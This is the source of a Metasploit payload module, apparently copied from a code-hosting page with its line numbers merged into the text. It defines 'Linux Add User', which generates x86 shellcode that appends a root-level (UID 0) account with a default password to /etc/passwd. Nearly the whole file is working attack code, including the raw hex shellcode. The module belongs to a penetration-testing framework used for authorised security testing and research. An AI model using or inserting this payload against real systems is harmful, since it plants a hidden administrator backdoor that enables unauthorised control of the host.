Path: blob/master/modules/payloads/singles/linux/x86/adduser.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# AddUser8# -------9#10# Adds a UID 0 user to /etc/passwd.11#12###13module MetasploitModule14CachedSize = 971516include Msf::Payload::Single17include Msf::Payload::Linux::X86::Prepends1819def initialize(info = {})20super(21merge_info(22info,23'Name' => 'Linux Add User',24'Description' => 'Create a new user with UID 0',25'Author' => [ 'skape', 'vlad902', 'spoonm' ],26'License' => MSF_LICENSE,27'Platform' => 'linux',28'Arch' => ARCH_X86,29'Privileged' => true30)31)3233# Register adduser options34register_options(35[36OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),37OptString.new('PASS', [ true, 'The password for this user', 'metasploit' ]),38OptString.new('SHELL', [ false, 'The shell for this user', '/bin/sh' ]),39]40)41end4243#44# Dynamically builds the adduser payload based on the user's options.45#46def generate(_opts = {})47user = datastore['USER'] || 'metasploit'48pass = datastore['PASS'] || 'metasploit'49shell = datastore['SHELL'] || '/bin/sh'50str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"51"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58" \52"\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70" \53"\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd" \54"\x80\x93" + Rex::Arch::X86.call(str.length) + str +55"\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58" \56"\xcd\x80"57end58end596061